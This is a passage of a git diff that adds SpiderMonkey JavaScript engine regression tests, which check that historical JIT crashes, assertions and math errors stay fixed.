+ string:navigator.platform,subString:"Linux",identity:"Linux"
+ }
+ ]
+ };
+
+BrowserDetect.init();
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-449666.js b/js/src/tests/js1_5/Regress/regress-449666.js
new file mode 100644
index 000000000..2703b8ee9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-449666.js
@@ -0,0 +1,65 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Robert Sayre
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 449666;
+var summary = 'Do not assert: JSSTRING_IS_FLAT(str_)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var global;
+
+
+ if (typeof window == 'undefined') {
+ global = this;
+ }
+ else {
+ global = window;
+ }
+
+ if (!global['g']) {
+ global['g'] = {};
+ }
+
+ if (!global['g']['l']) {
+ global['g']['l'] = {};
+ (function() {
+ function k(a,b){
+ var c=a.split(/\./);
+ var d=global;
+ for(var e=0;e<c.length-1;e++){
+ if(!d[c[e]]){
+ d[c[e]]={};
+ }
+ d=d[c[e]];
+ }
+ d[c[c.length-1]]=b;
+ print("hi");
+ }
+
+ function T(a){return "hmm"}
+ k("g.l.loaded",T);
+ })();
+
+ }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-450369.js b/js/src/tests/js1_5/Regress/regress-450369.js
new file mode 100644
index 000000000..3bb9d28f8
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-450369.js
@@ -0,0 +1,310 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450369;
+var summary = 'Crash with JIT and json2.js';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+/*
+ json2.js
+ 2007-11-06
+
+ Public Domain
+
+ See http://www.JSON.org/js.html
+
+ This file creates a global JSON object containing two methods:
+
+ JSON.stringify(value, whitelist)
+ value any JavaScript value, usually an object or array.
+
+ whitelist an optional that determines how object values are
+ stringified.
+
+ This method produces a JSON text from a JavaScript value.
+ There are three possible ways to stringify an object, depending
+ on the optional whitelist parameter.
+
+ If an object has a toJSON method, then the toJSON() method will be
+ called. The value returned from the toJSON method will be
+ stringified.
+
+ Otherwise, if the optional whitelist parameter is an array, then
+ the elements of the array will be used to select members of the
+ object for stringification.
+
+ Otherwise, if there is no whitelist parameter, then all of the
+ members of the object will be stringified.
+
+ Values that do not have JSON representaions, such as undefined or
+ functions, will not be serialized. Such values in objects will be
+ dropped, in arrays will be replaced with null. JSON.stringify()
+ returns undefined. Dates will be stringified as quoted ISO dates.
+
+ Example:
+
+ var text = JSON.stringify(['e', {pluribus: 'unum'}]);
+ // text is '["e",{"pluribus":"unum"}]'
+
+ JSON.parse(text, filter)
+ This method parses a JSON text to produce an object or
+ array. It can throw a SyntaxError exception.
+
+ The optional filter parameter is a function that can filter and
+ transform the results. It receives each of the keys and values, and
+ its return value is used instead of the original value. If it
+ returns what it received, then structure is not modified. If it
+ returns undefined then the member is deleted.
+
+ Example:
+
+ // Parse the text. If a key contains the string 'date' then
+ // convert the value to a date.
+
+ myData = JSON.parse(text, function (key, value) {
+ return key.indexOf('date') >= 0 ? new Date(value) : value;
+ });
+
+ This is a reference implementation. You are free to copy, modify, or
+ redistribute.
+
+ Use your own copy. It is extremely unwise to load third party
+ code into your pages.
+*/
+
+/*jslint evil: true */
+/*extern JSON */
+
+if (!this.emulatedJSON) {
+
+ emulatedJSON = function () {
+
+ function f(n) { // Format integers to have at least two digits.
+ return n < 10 ? '0' + n : n;
+ }
+
+ Date.prototype.toJSON = function () {
+
+// Eventually, this method will be based on the date.toISOString method.
+
+ return this.getUTCFullYear() + '-' +
+ f(this.getUTCMonth() + 1) + '-' +
+ f(this.getUTCDate()) + 'T' +
+ f(this.getUTCHours()) + ':' +
+ f(this.getUTCMinutes()) + ':' +
+ f(this.getUTCSeconds()) + 'Z';
+ };
+
+
+ var m = { // table of character substitutions
+ '\b': '\\b',
+ '\t': '\\t',
+ '\n': '\\n',
+ '\f': '\\f',
+ '\r': '\\r',
+ '"' : '\\"',
+ '\\': '\\\\'
+ };
+
+ function stringify(value, whitelist) {
+ var a, // The array holding the partial texts.
+ i, // The loop counter.
+ k, // The member key.
+ l, // Length.
+ r = /["\\\x00-\x1f\x7f-\x9f]/g,
+ v; // The member value.
+
+ switch (typeof value) {
+ case 'string':
+
+// If the string contains no control characters, no quote characters, and no
+// backslash characters, then we can safely slap some quotes around it.
+// Otherwise we must also replace the offending characters with safe sequences.
+
+ return r.test(value) ?
+ '"' + value.replace(r, function (a) {
+ var c = m[a];
+ if (c) {
+ return c;
+ }
+ c = a.charCodeAt();
+ return '\\u00' + Math.floor(c / 16).toString(16) +
+ (c % 16).toString(16);
+ }) + '"' :
+ '"' + value + '"';
+
+ case 'number':
+
+// JSON numbers must be finite. Encode non-finite numbers as null.
+
+ return isFinite(value) ? String(value) : 'null';
+
+ case 'boolean':
+ case 'null':
+ return String(value);
+
+ case 'object':
+
+// Due to a specification blunder in ECMAScript,
+// typeof null is 'object', so watch out for that case.
+
+ if (!value) {
+ return 'null';
+ }
+
+// If the object has a toJSON method, call it, and stringify the result.
+
+ if (typeof value.toJSON === 'function') {
+ return stringify(value.toJSON());
+ }
+ a = [];
+ if (typeof value.length === 'number' &&
+ !(value.propertyIsEnumerable('length'))) {
+
+// The object is an array. Stringify every element. Use null as a placeholder
+// for non-JSON values.
+
+ l = value.length;
+ for (i = 0; i < l; i += 1) {
+ a.push(stringify(value[i], whitelist) || 'null');
+ }
+
+// Join all of the elements together and wrap them in brackets.
+
+ return '[' + a.join(',') + ']';
+ }
+ if (whitelist) {
+
+// If a whitelist (array of keys) is provided, use it to select the components
+// of the object.
+
+ l = whitelist.length;
+ for (i = 0; i < l; i += 1) {
+ k = whitelist[i];
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ } else {
+
+// Otherwise, iterate through all of the keys in the object.
+
+ for (k in value) {
+ if (typeof k === 'string') {
+ v = stringify(value[k], whitelist);
+ if (v) {
+ a.push(stringify(k) + ':' + v);
+ }
+ }
+ }
+ }
+
+// Join all of the member texts together and wrap them in braces.
+
+ return '{' + a.join(',') + '}';
+ }
+ return undefined;
+ }
+
+ return {
+ stringify: stringify,
+ parse: function (text, filter) {
+ var j;
+
+ function walk(k, v) {
+ var i, n;
+ if (v && typeof v === 'object') {
+ for (i in v) {
+ if (Object.prototype.hasOwnProperty.apply(v, [i])) {
+ n = walk(i, v[i]);
+ if (n !== undefined) {
+ v[i] = n;
+ }
+ }
+ }
+ }
+ return filter(k, v);
+ }
+
+
+// Parsing happens in three stages. In the first stage, we run the text against
+// regular expressions that look for non-JSON patterns. We are especially
+// concerned with '()' and 'new' because they can cause invocation, and '='
+// because it can cause mutation. But just to be safe, we want to reject all
+// unexpected forms.
+
+// We split the first stage into 4 regexp operations in order to work around
+// crippling inefficiencies in IE's and Safari's regexp engines. First we
+// replace all backslash pairs with '@' (a non-JSON character). Second, we
+// replace all simple value tokens with ']' characters. Third, we delete all
+// open brackets that follow a colon or comma or that begin the text. Finally,
+// we look to see that the remaining characters are only whitespace or ']' or
+// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
+
+ if (/^[\],:{}\s]*$/.test(text.replace(/\\./g, '@').
+replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(:?[eE][+\-]?\d+)?/g, ']').
+replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
+
+// In the second stage we use the eval function to compile the text into a
+// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
+// in JavaScript: it can begin a block or an object literal. We wrap the text
+// in parens to eliminate the ambiguity.
+
+ j = eval('(' + text + ')');
+
+// In the optional third stage, we recursively walk the new structure, passing
+// each name/value pair to a filter function for possible transformation.
+
+ return typeof filter === 'function' ? walk('', j) : j;
+ }
+
+// If the text is not JSON parseable, then a SyntaxError is thrown.
+
+ throw new SyntaxError('parseJSON');
+ }
+ };
+ }();
+}
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ var testPairs = [
+ ["{}", {}],
+ ["[]", []],
+ ['{"foo":"bar"}', {"foo":"bar"}],
+ ['{"null":null}', {"null":null}],
+ ['{"five":5}', {"five":5}],
+ ]
+
+ var a = [];
+ for (var i=0; i < testPairs.length; i++) {
+ var pair = testPairs[i];
+ var s = emulatedJSON.stringify(pair[1])
+ a[i] = s;
+ }
+ print(a.join("\n"));
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
+
diff --git a/js/src/tests/js1_5/Regress/regress-450833.js b/js/src/tests/js1_5/Regress/regress-450833.js
new file mode 100644
index 000000000..c94a68585
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-450833.js
@@ -0,0 +1,45 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 450833;
+var summary = 'TM: Multiple trees per entry point';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 100;
+
+
+ function f(i) {
+ for (var m = 0; m < 20; ++m)
+ for (var n = 0; n < 100; n += i)
+ ;
+ return n;
+ }
+
+ print(actual = f(1));
+
+
+ reportCompare(expect, actual, summary);
+
+
+ print(actual = f(.5));
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-451322.js b/js/src/tests/js1_5/Regress/regress-451322.js
new file mode 100755
index 000000000..9ea75e4e6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-451322.js
@@ -0,0 +1,37 @@
+// |reftest| skip -- slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451322;
+var summary = 'Do not crash with OOM in LirBufWriter';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function f() {
+ for (var i = 0; i < 200000; i++) {
+ var m = new Function("var k = 0; for (var j = 0; j < 5; j++) { k += j * 2 + 8 / (j+3) * k} return k;");
+ m();
+ }
+ }
+ f();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-451884.js b/js/src/tests/js1_5/Regress/regress-451884.js
new file mode 100644
index 000000000..dbff37c64
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-451884.js
@@ -0,0 +1,34 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451884;
+var summary = 'Do not crash [@ QuoteString]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (function(k){eval("k.y")})();
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-451946.js b/js/src/tests/js1_5/Regress/regress-451946.js
new file mode 100644
index 000000000..e30606448
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-451946.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451946;
+var summary = 'Do not crash with SELinux execheap protection';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('This test is only valid with SELinux targetted policy with exeheap protection');
+
+
+ var i; for (i = 0; i < 2000000; i++) {;}
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452008.js b/js/src/tests/js1_5/Regress/regress-452008.js
new file mode 100644
index 000000000..8c278a033
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452008.js
@@ -0,0 +1,151 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452008;
+var summary = 'Bad math with JIT';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+// regression test for Bug 452008 - TM: SRP in Clipperz crypto library fails when JIT (TraceMonkey) is enabled.
+
+ var x = [9385, 32112, 25383, 16317, 30138, 14565, 17812, 24500, 2719, 30174, 3546, 9096, 15352, 19120, 20648, 14334, 7426, 0, 0, 0];
+ var n = [27875, 25925, 30422, 12227, 27798, 32170, 10873, 21748, 30629, 26296, 20697, 5125, 4815, 2221, 14392, 23369, 5560, 2, 0, 0];
+ var np = 18229;
+ var expected = [18770, 31456, 17999, 32635, 27508, 29131, 2856, 16233, 5439, 27580, 7093, 18192, 30804, 5472, 8529, 28649, 14852, 0, 0, 0];
+
+//globals
+ bpe=0; //bits stored per array element
+ mask=0; //AND this with an array element to chop it down to bpe bits
+
+//initialize the global variables
+ for (bpe=0; (1<<(bpe+1)) > (1<<bpe); bpe++); //bpe=number of bits in the mantissa on this platform
+ bpe>>=1; //bpe=number of bits in one element of the array representing the bigInt
+ mask=(1<<bpe)-1; //AND the mask with an integer to get its bpe least significant bits
+
+
+//the following global variables are scratchpad memory to
+//reduce dynamic memory allocation in the inner loop
+ sa = new Array(0); //used in mont_()
+
+//do x=y on bigInts x and y. x must be an array at least as big as y (not counting the leading zeros in y).
+ function copy_(x,y) {
+ var i;
+ var k=x.length<y.length ? x.length : y.length;
+ for (i=0;i<k;i++)
+ x[i]=y[i];
+ for (i=k;i<x.length;i++)
+ x[i]=0;
+ }
+
+//do x=y on bigInt x and integer y.
+ function copyInt_(x,n) {
+ var i,c;
+ for (c=n,i=0;i<x.length;i++) {
+ x[i]=c & mask;
+ c>>=bpe;
+ }
+ }
+
+//is x > y? (x and y both nonnegative)
+ function greater(x,y) {
+ var i;
+ var k=(x.length<y.length) ? x.length : y.length;
+
+ for (i=x.length;i<y.length;i++)
+ if (y[i])
+ return 0; //y has more digits
+
+ for (i=y.length;i<x.length;i++)
+ if (x[i])
+ return 1; //x has more digits
+
+ for (i=k-1;i>=0;i--)
+ if (x[i]>y[i])
+ return 1;
+ else if (x[i]<y[i])
+ return 0;
+ return 0;
+ }
+
+
+//do x=x*y*Ri mod n for bigInts x,y,n,
+// where Ri = 2**(-kn*bpe) mod n, and kn is the
+// number of elements in the n array, not
+// counting leading zeros.
+//x must be large enough to hold the answer.
+//It's OK if x and y are the same variable.
+//must have:
+// x,y < n
+// n is odd
+// np = -(n^(-1)) mod radix
+ function mont_(x,y,n,np) {
+ var i,j,c,ui,t;
+ var kn=n.length;
+ var ky=y.length;
+
+ if (sa.length!=kn)
+ sa=new Array(kn);
+
+ for (;kn>0 && n[kn-1]==0;kn--); //ignore leading zeros of n
+ for (;ky>0 && y[ky-1]==0;ky--); //ignore leading zeros of y
+
+ copyInt_(sa,0);
+
+ //the following loop consumes 95% of the runtime for randTruePrime_() and powMod_() for large keys
+ for (i=0; i<kn; i++) {
+ t=sa[0]+x[i]*y[0];
+ ui=((t & mask) * np) & mask; //the inner "& mask" is needed on Macintosh MSIE, but not windows MSIE
+ c=(t+ui*n[0]) >> bpe;
+ t=x[i];
+
+ //do sa=(sa+x[i]*y+ui*n)/b where b=2**bpe
+ for (j=1;j<ky;j++) {
+ c+=sa[j]+t*y[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ for (;j<kn;j++) {
+ c+=sa[j]+ui*n[j];
+ sa[j-1]=c & mask;
+ c>>=bpe;
+ }
+ sa[j-1]=c & mask;
+ }
+
+ if (!greater(n,sa))
+ sub_(sa,n);
+ copy_(x,sa);
+ }
+
+ mont_(x, x, n, np);
+
+ var passed = expected.length == x.length;
+ for (var i = 0; i < expected.length; i++) {
+ if (passed)
+ passed = expected[i] == x[i];
+ }
+ print(passed);
+
+
+ expect = true;
+ actual = passed;
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452170.js b/js/src/tests/js1_5/Regress/regress-452170.js
new file mode 100644
index 000000000..813102bda
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452170.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452170;
+var summary = 'Do not assert with JIT: (*m != JSVAL_INT) || isInt32(*vp)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { (-0).toString(); }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452189.js b/js/src/tests/js1_5/Regress/regress-452189.js
new file mode 100644
index 000000000..811fe5fbd
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452189.js
@@ -0,0 +1,23 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Geoff Garen
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452189;
+var summary = "Don't shadow a readonly or setter proto-property";
+var expect = "PASS";
+var actual = "FAIL";
+
+function c() {
+ this.x = 3;
+}
+
+
+new c;
+Object.prototype.__defineSetter__('x', function(){ actual = expect; })
+new c;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-452333.js b/js/src/tests/js1_5/Regress/regress-452333.js
new file mode 100644
index 000000000..41d919bde
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452333.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452333;
+var summary = 'Do not crash with JIT: @ js_SkipWhiteSpace';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j = 0; j < 5; ++j) { (typeof 3/0); } })();
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452336.js b/js/src/tests/js1_5/Regress/regress-452336.js
new file mode 100644
index 000000000..2ade29ca0
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452336.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452336;
+var summary = 'Do not assert with JIT: (slot) < (uint32_t)(obj)->dslots[-1]';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 4; ++j) { [1].x++; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452346.js b/js/src/tests/js1_5/Regress/regress-452346.js
new file mode 100644
index 000000000..e3aeefe86
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452346.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452346;
+var summary = 'Do not crash: @ Balloc';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var j=0;j<2;++j) (0.1).toPrecision(30);
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452495.js b/js/src/tests/js1_5/Regress/regress-452495.js
new file mode 100644
index 000000000..ae07f37a1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452495.js
@@ -0,0 +1,19 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452495;
+var summary = 'Do not crash with JIT: @ TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+
+for (var j = 0; j < 4; ++j) { try { new 1(this); } catch(e) { } }
+
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/js1_5/Regress/regress-452573-01.js b/js/src/tests/js1_5/Regress/regress-452573-01.js
new file mode 100644
index 000000000..bd5171f4c
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452573-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: boxed.isUndefined() || boxed.isBoolean()';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void /x/;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452573-02.js b/js/src/tests/js1_5/Regress/regress-452573-02.js
new file mode 100644
index 000000000..7d5faf8e1
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452573-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452573;
+var summary = 'Do not assert with JIT: "(((rmask(rr) & FpRegs) != 0))"';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for(var j=0;j<5;++j) typeof void 1;
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452713.js b/js/src/tests/js1_5/Regress/regress-452713.js
new file mode 100644
index 000000000..c7c4dd9a9
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452713.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452713;
+var summary = 'Do not assert with JIT: "Should not move data from GPR to XMM": false';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j = 0; j < 5; ++j) { if (''[-1]) { } }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452724-01.js b/js/src/tests/js1_5/Regress/regress-452724-01.js
new file mode 100644
index 000000000..1c8c55a25
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452724-01.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not assert with JIT: (rmask(rr) & FpRegs) != 0';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ (function() { for (var j=0;j<5;++j) { (0/0) in this; } })()
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452724-02.js b/js/src/tests/js1_5/Regress/regress-452724-02.js
new file mode 100644
index 000000000..135d402d5
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452724-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452724;
+var summary = 'Do not crash with JIT: @TraceRecorder::getThis';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ enterFunc ('test');
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ for (var j=0;j<5;++j) { (0/0) in this; }
+
+
+ reportCompare(expect, actual, summary);
+
+ exitFunc ('test');
+}
diff --git a/js/src/tests/js1_5/Regress/regress-452742-01.js b/js/src/tests/js1_5/Regress/regress-452742-01.js
new file mode 100644
index 000000000..69fdd2ba6
--- /dev/null
+++ b/js/src/tests/js1_5/Regress/regress-452742-01.js
@@ -0,0 +1,51 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
